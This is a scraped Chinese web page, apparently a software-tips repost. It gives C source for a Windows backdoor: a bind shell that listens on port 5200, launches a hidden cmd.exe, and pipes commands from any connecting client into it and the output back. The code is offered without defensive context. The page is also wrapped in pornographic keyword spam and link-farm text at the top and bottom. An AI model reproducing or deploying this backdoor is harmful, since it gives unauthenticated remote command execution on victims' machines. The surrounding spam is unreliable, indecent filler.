麻豆小视频在线观看_中文黄色一级片_久久久成人精品_成片免费观看视频大全_午夜精品久久久久久久99热浪潮_成人一区二区三区四区

首頁(yè) > 應(yīng)用 > 軟件技巧 > 正文

簡(jiǎn)單遠(yuǎn)程雙管道cmd

2024-07-16 17:44:54
字體:
來(lái)源:轉(zhuǎn)載
供稿:網(wǎng)友
#include <winsock2.h>
#include <stdio.h>
#pragma comment(lib,"Ws2_32")

int main()
{
WSADATA ws;
SOCKET listenFD;
char Buff[1024];
int ret;

//初始化WSA
WSAStartup(MAKEWORD(2,2),&ws);

//建立socket
listenFD=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

//監(jiān)聽(tīng)本機(jī)5200端口
struct sockaddr_in server;
server.sin_family=AF_INET;
server.sin_port=htons(5200);
server.sin_addr.s_addr=ADDR_ANY;
ret=bind(listenFD,(sockaddr *)&server,sizeof(server));
ret=listen(listenFD,2);

//如果客戶請(qǐng)求5200端口,接受連接
int iAddrSize=sizeof(server);
SOCKET clientFD=accept(listenFD,(sockaddr *)&server,&iAddrSize);

SECURITY_ATTRIBUTES pipeattr1,pipeattr2;
HANDLE hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2;

//建立匿名管道1
pipeattr1.nLength=12;
pipeattr1.lpSecurityDescriptor=0;
pipeattr1.bInheritHandle=true;
CreatePipe(&hReadPipe1,&hWritePipe1,&pipeattr1,0);

//建立匿名管道2
pipeattr2.nLength=12;
pipeattr2.lpSecurityDescriptor=0;
pipeattr2.bInheritHandle=true;
CreatePipe(&hReadPipe2,&hWritePipe2,&pipeattr2,0);

STARTUPINFO si;
ZeroMemory(&si,sizeof(si));
si.dwFlags=STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
si.wShowWindow=SW_HIDE;
si.hStdInput=hReadPipe2;
si.hStdOutput=si.hStdError=hWritePipe1;
char cmdline[]="cmd.exe";
PROCESS_INFORMATION ProcessInformation;
//建立進(jìn)程
ret=CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformation);

unsigned long lBytesRead;
while (1)
{
//檢查管道1,即CMD進(jìn)程是否有輸出
ret=PeekNamedPipe(hReadPipe1,Buff,1024,&lBytesRead,0,0);
if (lBytesRead)
{
//管道1有輸出,輸出結(jié)果發(fā)給遠(yuǎn)程客戶機(jī)
ret=ReadFile(hReadPipe1,Buff,lBytesRead,&lBytesRead,0);
if (!ret) break;
ret=send(clientFD,Buff,lBytesRead,0);
if (ret<=0) break;
}
else
{
//否則,接受遠(yuǎn)程客戶機(jī)命令
lBytesRead=recv(clientFD,Buff,1024,0);
if (lBytesRead<=0) break;
//將命令寫入管道2,即傳給CMD進(jìn)程
ret=WriteFile(hWritePipe2,Buff,lBytesRead,&lBytesRead,0);
if (!ret) break;
}
}
return 0;
}
發(fā)表評(píng)論 共有條評(píng)論
用戶名: 密碼:
驗(yàn)證碼: 匿名發(fā)表
主站蜘蛛池模板: www.99tv| 美女毛片儿 | 久久久国产精品成人免费 | 国产精品美女久久久久久网站 | 欧美性受xxxx白人性爽 | 国产精品欧美久久久久一区二区 | 国产精品久久久久久久四虎电影 | 久久久www成人免费精品 | 久久久久av69精品 | 国产一级免费电影 | 亚洲成人黄色片 | 国内精品伊人久久 | 久久sp| 日韩视频在线一区二区三区 | 欧美精品一区二区久久久 | 在线播放一区二区三区 | 成人免费网视频 | 中文字幕精品在线视频 | 中国3xxxx | 日韩av在线网址 | 日本视频网 | 狠狠干网站| 国产亚洲精品综合一区91 | 日韩中文字幕一区二区三区 | 5xsq在线视频| 久久精品视频免费 | 99在线免费观看视频 | 国产亚洲福利 | 91羞羞 | 狼人狠狠干 | 欧美人人干 | 一区二区三区视频在线观看 | av免费在线网站 | 国产精品久久久久久久久久尿 | 亚洲日色 | 一级国产电影 | chinese 军人 gay xx 呻吟 | 国内精品久久久久久久久久 | 日韩做爰视频免费 | 久久精品一区二区三区不卡牛牛 | 一级免费黄色免费片 |